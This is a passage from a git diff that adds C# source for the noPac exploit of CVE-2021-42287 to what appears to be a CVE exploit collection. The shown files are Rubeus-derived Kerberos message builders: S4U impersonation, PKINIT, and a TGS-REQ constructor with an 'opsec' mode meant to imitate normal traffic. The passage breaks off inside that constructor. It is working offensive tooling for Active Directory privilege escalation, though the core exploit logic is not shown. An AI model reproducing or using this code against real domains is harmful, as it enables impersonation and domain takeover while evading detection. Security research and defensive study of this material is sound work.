Interop.PADATA_TYPE type { get; set; } + + public Object value { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_ENC_TS_ENC.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_ENC_TS_ENC.cs new file mode 100644 index 0000000..b003d97 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_ENC_TS_ENC.cs @@ -0,0 +1,46 @@ +using Asn1; +using System; +using System.Text; + +namespace Rubeus +{ + //PA-ENC-TS-ENC ::= SEQUENCE { + // patimestamp[0] KerberosTime, -- client's time + // pausec[1] INTEGER OPTIONAL + //} + + public class PA_ENC_TS_ENC + { + public PA_ENC_TS_ENC() + { + patimestamp = DateTime.UtcNow; + } + + public PA_ENC_TS_ENC(DateTime time) + { + patimestamp = time; + } + + //public PA_ENC_TS_ENC(AsnElt value) + //{ + + //} + + public AsnElt Encode() + { + AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ")); + AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn }); + patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq); + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq }); + + return totalSeq; + } + + public DateTime patimestamp { get; set; } + + public int pausec { get; set; } + + //public bool include_pac { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_FOR_USER.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_FOR_USER.cs new file mode 100644 index 0000000..3302b38 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_FOR_USER.cs @@ -0,0 +1,96 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //PA-FOR-USER-ENC ::= SEQUENCE { + // userName[0] PrincipalName, + // userRealm[1] Realm, + // cksum[2] Checksum, + // auth-package[3] KerberosString + //} + + public class PA_FOR_USER + { + public PA_FOR_USER(byte[] key, string name, string realm) + { + userName = new PrincipalName(name); + userName.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + userRealm = realm; + + // now build the checksum + + auth_package = "Kerberos"; + + byte[] nameTypeBytes = new byte[4]; + nameTypeBytes[0] = 0xa; + + byte[] nameBytes = Encoding.UTF8.GetBytes(name); + byte[] realmBytes = Encoding.UTF8.GetBytes(userRealm); + byte[] authPackageBytes = Encoding.UTF8.GetBytes(auth_package); + + byte[] finalBytes = new byte[nameTypeBytes.Length + nameBytes.Length + realmBytes.Length + authPackageBytes.Length]; + + Array.Copy(nameTypeBytes, 0, finalBytes, 0, nameTypeBytes.Length); + Array.Copy(nameBytes, 0, finalBytes, nameTypeBytes.Length, nameBytes.Length); + Array.Copy(realmBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length, realmBytes.Length); + Array.Copy(authPackageBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length + realmBytes.Length, authPackageBytes.Length); + + byte[] outBytes = Crypto.KerberosChecksum(key, finalBytes); + + Checksum checksum = new Checksum(outBytes); + + cksum = checksum; + } + + public AsnElt Encode() + { + List allNodes = new List(); + + // userName[0] PrincipalName + AsnElt userNameAsn = userName.Encode(); + userNameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userNameAsn); + allNodes.Add(userNameAsn); + + // userRealm[1] Realm + AsnElt userRealmAsn = AsnElt.MakeString(AsnElt.IA5String, userRealm); + userRealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, userRealmAsn); + AsnElt userRealmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { userRealmAsn }); + userRealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, userRealmSeq); + allNodes.Add(userRealmSeq); + + // cksum[2] Checksum + AsnElt checksumAsn = cksum.Encode(); + checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, checksumAsn); + allNodes.Add(checksumAsn); + + // auth-package[3] KerberosString + AsnElt auth_packageAsn = AsnElt.MakeString(AsnElt.IA5String, auth_package); + auth_packageAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, auth_packageAsn); + AsnElt auth_packageSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { auth_packageAsn }); + auth_packageSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, auth_packageSeq); + allNodes.Add(auth_packageSeq); + + + // package it all up + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + + + // tag the final total + //AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq }); + //final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final); + + return seq; + } + + public PrincipalName userName { get; set; } + + public string userRealm { get; set; } + + public Checksum cksum { get; set; } + + public string auth_package { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PAC_OPTIONS.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PAC_OPTIONS.cs new file mode 100644 index 0000000..626aeb4 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PAC_OPTIONS.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Asn1; + +namespace Rubeus +{ + /* PA-PAC-OPTIONS ::= SEQUENCE { + KerberosFlags + -- Claims(0) + -- Branch Aware(1) + -- Forward to Full DC(2) + -- Resource-based Constrained Delegation (3) + } + */ + + public class PA_PAC_OPTIONS + { + public byte[] kerberosFlags { get; set; } + public PA_PAC_OPTIONS(bool claims, bool branch, bool fullDC, bool rbcd) + { + kerberosFlags = new byte[4] { 0, 0, 0, 0 }; + if (claims) kerberosFlags[0] = (byte)(kerberosFlags[0] | 8); + if (branch) kerberosFlags[0] = (byte)(kerberosFlags[0] | 4); + if (fullDC) kerberosFlags[0] = (byte)(kerberosFlags[0] | 2); + if (rbcd) kerberosFlags[0] = (byte)(kerberosFlags[0] | 1); + kerberosFlags[0] = (byte)(kerberosFlags[0] * 0x10); + } + + public AsnElt Encode() + { + List allNodes = new List(); + AsnElt kerberosFlagsAsn = AsnElt.MakeBitString(kerberosFlags); + kerberosFlagsAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.BIT_STRING, kerberosFlagsAsn); + AsnElt parent = AsnElt.MakeExplicit(0, kerberosFlagsAsn); + allNodes.Add(parent); + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + return seq; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PK_AS_REP.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PK_AS_REP.cs new file mode 100644 index 0000000..39866ee --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PK_AS_REP.cs @@ -0,0 +1,28 @@ +using Asn1; +using System; + +namespace Rubeus { + public class PA_PK_AS_REP { + + public KrbDHRepInfo DHRepInfo { get; private set; } + + public PA_PK_AS_REP(AsnElt asnElt) { + + if(asnElt.TagClass != AsnElt.CONTEXT || asnElt.Sub.Length > 1) { + throw new ArgumentException("Expected CONTEXT with CHOICE for PA-PK-AS-REP"); + } + + switch (asnElt.TagValue) { + case 0: //dhInfo + DHRepInfo = new KrbDHRepInfo(asnElt.Sub[0]); + break; + + case 1: //encKeyPack: TODO + break; + + default: + throw new ArgumentException("Unexpected CHOICE value for PA-PK-AS-REP"); + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PK_AS_REQ.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PK_AS_REQ.cs new file mode 100644 index 0000000..7cf2954 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_PK_AS_REQ.cs @@ -0,0 +1,46 @@ +using Asn1; +using System.Security.Cryptography; +using System.Security.Cryptography.Pkcs; +using System.Security.Cryptography.X509Certificates; + +namespace Rubeus { + public class PA_PK_AS_REQ { + + public static readonly Oid IdPkInitAuthData = new Oid("1.3.6.1.5.2.3.1"); + public KrbAuthPack AuthPack { get; private set; } + public X509Certificate2 PKCert { get; private set; } + public KDCKeyAgreement Agreement { get; private set; } + public bool VerifyCerts { get; private set; } + + public PA_PK_AS_REQ(KrbAuthPack krbAuthPack, X509Certificate2 pkCert, KDCKeyAgreement agreement, bool verifyCerts = false) { + AuthPack = krbAuthPack; + PKCert = pkCert; + Agreement = agreement; + VerifyCerts = verifyCerts; + } + + public AsnElt Encode() { + + SignedCms signed = new SignedCms( + new ContentInfo( + IdPkInitAuthData, + AuthPack.Encode().Encode() + ) + ); + + var signer = new CmsSigner(PKCert); + if(!VerifyCerts) + { + signer.IncludeOption = X509IncludeOption.EndCertOnly; // only the end certificate is included in the X.509 chain information. + } + signed.ComputeSignature(signer, silent: false); + + return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.Make(AsnElt.CONTEXT, 0, new AsnElt[]{ + AsnElt.MakeBlob(signed.Encode()) + //AsnElt.Decode(signed.Encode()) + }) + }); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_S4U_X509_USER.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_S4U_X509_USER.cs new file mode 100644 index 0000000..26ae999 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_S4U_X509_USER.cs @@ -0,0 +1,52 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + // PA-S4U-X509-USER::= SEQUENCE { + // user-id[0] S4UUserID, + // checksum[1] Checksum + //} + + + public class PA_S4U_X509_USER + { + public PA_S4U_X509_USER(byte[] key, string name, string realm, uint nonce, Interop.KERB_ETYPE eType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + user_id = new S4UUserID(name, realm, nonce); + + AsnElt userIDAsn = user_id.Encode(); + AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); + byte[] userIDBytes = userIDSeq.CopyValue(); + byte[] cksumBytes = null; + + if (eType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); + if (eType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) + cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); + if (eType == Interop.KERB_ETYPE.rc4_hmac) + cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD4, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); + + cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, cksumBytes); + } + + public AsnElt Encode() + { + AsnElt userIDAsn = user_id.Encode(); + AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); + userIDSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userIDSeq); + + AsnElt checksumAsn = cksum.Encode(); + checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumAsn); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { userIDSeq, checksumAsn }); + + return seq; + } + + public S4UUserID user_id { get; set; } + public Checksum cksum { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PrincipalName.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PrincipalName.cs new file mode 100644 index 0000000..f1d2fe9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PrincipalName.cs @@ -0,0 +1,105 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //PrincipalName::= SEQUENCE { + // name-type[0] Int32, + // name-string[1] SEQUENCE OF KerberosString + //} + + public class PrincipalName + { + public PrincipalName() + { + /* + Name Type Value Meaning + + NT-UNKNOWN 0 Name type not known + NT-PRINCIPAL 1 Just the name of the principal as in DCE, + or for users + NT-SRV-INST 2 Service and other unique instance (krbtgt) + NT-SRV-HST 3 Service with host name as instance + (telnet, rcommands) + NT-SRV-XHST 4 Service with host as remaining components + NT-UID 5 Unique ID + NT-X500-PRINCIPAL 6 Encoded X.509 Distinguished name [RFC2253] + NT-SMTP-NAME 7 Name in form of SMTP email name + (e.g., user@example.com) + NT-ENTERPRISE 10 Enterprise name - may be mapped to principal + name + */ + + name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + + name_string = new List(); + } + + public PrincipalName(string principal) + { + // create with principal + name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + + name_string = new List(); + name_string.Add(principal); + } + + public PrincipalName(AsnElt body) + { + // KRB_NT_PRINCIPAL = 1 + // means just the name of the principal + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + + name_type = (Interop.PRINCIPAL_TYPE)body.Sub[0].Sub[0].GetInteger(); + + int numberOfNames = body.Sub[1].Sub[0].Sub.Length; + + name_string = new List(); + + for (int i = 0; i < numberOfNames; i++) + { + name_string.Add(Encoding.ASCII.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString())); + } + } + + public AsnElt Encode() + { + // name-type[0] Int32 + AsnElt nameTypeElt = AsnElt.MakeInteger((long)name_type); + AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt }); + nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq); + + + // name-string[1] SEQUENCE OF KerberosString + // add in the name string sequence (one or more) + AsnElt[] strings = new AsnElt[name_string.Count]; + + for (int i = 0; i < name_string.Count; ++i) + { + string name = name_string[i]; + AsnElt nameStringElt = AsnElt.MakeString(AsnElt.IA5String, name); + nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt); + strings[i] = nameStringElt; + } + + AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings); + AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq } ); + stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2); + + + // build the final sequences + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 }); + + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + + return seq2; + } + + public Interop.PRINCIPAL_TYPE name_type { get; set; } + + public List name_string { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/S4UUserID.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/S4UUserID.cs new file mode 100644 index 0000000..9b9aca0 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/S4UUserID.cs @@ -0,0 +1,80 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //S4UUserID::= SEQUENCE { + // nonce[0] UInt32, --the nonce in KDC - REQ - BODY + // cname[1] PrincipalName OPTIONAL, + // --Certificate mapping hints + // crealm[2] Realm, + // subject-certificate[3] OCTET STRING OPTIONAL, + // options[4] BIT STRING OPTIONAL, + // ... + //} + + public class S4UUserID + { + public S4UUserID(string name, string realm, uint n) + { + nonce = n; + + cname = new PrincipalName(name); + cname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + + crealm = realm; + + // default for creation + options = Interop.PA_S4U_X509_USER_OPTIONS.SIGN_REPLY; + } + + public AsnElt Encode() + { + List allNodes = new List(); + + // nonce [0] UInt32 + AsnElt nonceAsn = AsnElt.MakeInteger(nonce); + AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); + nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nonceSeq); + allNodes.Add(nonceSeq); + + // cname [1] PrincipalName + AsnElt cnameElt = cname.Encode(); + cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt); + allNodes.Add(cnameElt); + + // crealm [2] Realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); + allNodes.Add(realmSeq); + + // options [4] PA_S4U_X509_USER_OPTIONS + byte[] optionsBytes = BitConverter.GetBytes((uint)options); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(optionsBytes); + } + AsnElt optionsAsn = AsnElt.MakeBitString(optionsBytes); + AsnElt optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { optionsAsn }); + optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, optionsSeq); + allNodes.Add(optionsSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + //AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq); + + return seq; + } + + public UInt32 nonce { get; set; } + + public PrincipalName cname { get; set; } + + public string crealm { get; set; } + + public Interop.PA_S4U_X509_USER_OPTIONS options { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TGS_REP.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TGS_REP.cs new file mode 100644 index 0000000..dca5351 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TGS_REP.cs @@ -0,0 +1,101 @@ +using Asn1; +using System; +using System.Text; + +namespace Rubeus +{ + public class TGS_REP + { + //TGS-REP ::= [APPLICATION 13] KDC-REP + + //KDC-REP ::= SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (13 -- TGS), + // padata [2] SEQUENCE OF PA-DATA OPTIONAL + // -- NOTE: not empty --, + // crealm [3] Realm, + // cname [4] PrincipalName, + // ticket [5] Ticket, + // enc-part [6] EncryptedData + // -- EncTGSRepPart + //} + + public TGS_REP(byte[] data) + { + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt asn_TGS_REP = AsnElt.Decode(data, false); + + this.Decode(asn_TGS_REP); + } + + public TGS_REP(AsnElt asn_TGS_REP) + { + this.Decode(asn_TGS_REP); + } + + private void Decode(AsnElt asn_TGS_REP) + { + // TGS - REP::= [APPLICATION 13] KDC - REP + if (asn_TGS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + throw new System.Exception("TGS-REP tag value should be 13"); + } + + if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16)) + { + throw new System.Exception("First TGS-REP sub should be a sequence"); + } + + // extract the KDC-REP out + AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub; + + foreach (AsnElt s in kdc_rep) + { + switch (s.TagValue) + { + case 0: + pvno = s.Sub[0].GetInteger(); + break; + case 1: + msg_type = s.Sub[0].GetInteger(); + break; + case 2: + // sequence of pa-data + padata = new PA_DATA(s.Sub[0]); + break; + case 3: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 4: + cname = new PrincipalName(s.Sub[0]); + break; + case 5: + ticket = new Ticket(s.Sub[0].Sub[0]); + break; + case 6: + enc_part = new EncryptedData(s.Sub[0]); + break; + default: + break; + } + } + } + + // won't really every need to *create* a TGS reply, so no encode + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public PA_DATA padata { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public Ticket ticket { get; set; } + + public EncryptedData enc_part { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TGS_REQ.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TGS_REQ.cs new file mode 100644 index 0000000..d70e65b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TGS_REQ.cs @@ -0,0 +1,450 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; + +namespace Rubeus +{ + //TGS-REQ ::= [APPLICATION 12] KDC-REQ + + //KDC-REQ ::= SEQUENCE { + // -- NOTE: first tag is [1], not [0] + // pvno [1] INTEGER (5) , + // msg-type [2] INTEGER (12 -- TGS), + // padata [3] SEQUENCE OF PA-DATA OPTIONAL + // -- NOTE: not empty --, + // in this case, it's an AP-REQ + // req-body [4] KDC-REQ-BODY + //} + + public class TGS_REQ + { + public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false, KRB_CRED tgs = null, string targetDomain = "", bool u2u = false) + { + TGS_REQ req; + if (u2u) + req = new TGS_REQ(!u2u); + else + req = new TGS_REQ(!opsec); + + if (!opsec && !u2u) + { + // set the username + req.req_body.cname.name_string.Add(userName); + } + + // get domain from service for cross domain requests + // if not requesting a cross domain TGT (krbtgt) + string[] parts = sname.Split('/'); + if (String.IsNullOrEmpty(targetDomain)) + { + if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt") && (tgs == null) && parts[0] != "kadmin") + { + if (parts[1].Split('.').Length > 2) + { + targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); + + // remove port when SPN is in format 'svc/domain.com:1234' + string[] targetParts = targetDomain.Split(':'); + if (targetParts.Length > 1) + { + targetDomain = targetParts[0]; + } + } + if (String.IsNullOrEmpty(targetDomain)) + targetDomain = domain; + } + else if (enterprise) + { + targetDomain = sname.Split('@')[1]; + } + else + { + targetDomain = domain; + } + } + + // the realm (domain) the user exists in + req.req_body.realm = targetDomain.ToUpper(); + + // add in our encryption types + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + // normal behavior + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); + } + // real traffic have these etypes except when requesting a TGT, then only + else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt")) + { + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + } + else + { + // add in the supported etype specified + req.req_body.etypes.Add(requestEType); + } + + if (!String.IsNullOrEmpty(s4uUser)) + { + // constrained delegation yo' + if (u2u) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; + req.req_body.sname.name_string.Add(sname); + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_UNKNOWN; + } + else + { + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + req.req_body.sname.name_string.Add(userName); + } + + if (!opsec) + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; + + if (opsec) + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + } + else if (u2u) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; + req.req_body.sname.name_string.Add(sname); + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + } + else + { + if (enterprise) + { + // KRB_NT-ENTERPRISE = 10 + // userPrincipalName + // sAMAccountName + // sAMAccountName@DomainNetBIOSName + // sAMAccountName@DomainFQDN + // DomainNetBIOSName\sAMAccountName + // DomainFQDN\sAMAccountName + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + req.req_body.sname.name_string.Add(sname); + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + } + else if (parts.Length == 1) + { + // KRB_NT_SRV_INST = 2 + // service and other unique instance (e.g. krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add(sname); + req.req_body.sname.name_string.Add(domain); + } + else if (parts.Length == 2) + { + // KRB_NT_SRV_INST = 2 + // SPN (sname/server.domain.com) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add(parts[0]); + req.req_body.sname.name_string.Add(parts[1]); + } + else if (parts.Length == 3) + { + // KRB_NT_SRV_HST = 3 + // SPN (sname/server.domain.com/blah) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST; + req.req_body.sname.name_string.Add(parts[0]); + req.req_body.sname.name_string.Add(parts[1]); + req.req_body.sname.name_string.Add(parts[2]); + } + else + { + Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); + } + } + + if (renew) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; + } + + if (tgs!=null) + { + req.req_body.additional_tickets.Add(tgs.tickets[0]); + if (!u2u) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION | Interop.KdcOptions.CANONICALIZE; + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + } + } + + // needed for authenticator checksum + byte[] cksum_Bytes = null; + + // opsec complete the request body before the creation of the AP-REQ + if (opsec) + { + // set correct flags based on type of request + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + if (!unconstrained) + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + if (unconstrained) + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED; + + // get hostname and hostname of SPN + string hostName = Dns.GetHostName().ToUpper(); + string targetHostName; + if (parts.Length > 1) + { + targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); + } + else + { + targetHostName = hostName; + } + + // create enc-authorization-data if target host is not the local machine + if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained)) + { + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADRestrictionEntry restrictions = new ADRestrictionEntry(); + ADKerbLocal kerbLocal = new ADKerbLocal(); + ifrelevant.ADData.Add(restrictions); + ifrelevant.ADData.Add(kerbLocal); + AsnElt authDataSeq = ifrelevant.Encode(); + authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); + byte[] authorizationDataBytes = authDataSeq.Encode(); + byte[] enc_authorization_data = Crypto.KerberosEncrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes); + req.req_body.enc_authorization_data = new EncryptedData((Int32)paEType, enc_authorization_data); + } + + // S4U requests have a till time of 15 minutes in the future + if (!String.IsNullOrEmpty(s4uUser)) + { + DateTime till = DateTime.Now; + till = till.AddMinutes(15); + req.req_body.till = till; + } + + // encode req_body for authenticator cksum + AsnElt req_Body_ASN = req.req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); + cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); + } + + // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. + PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes); + req.padata.Add(padata); + + 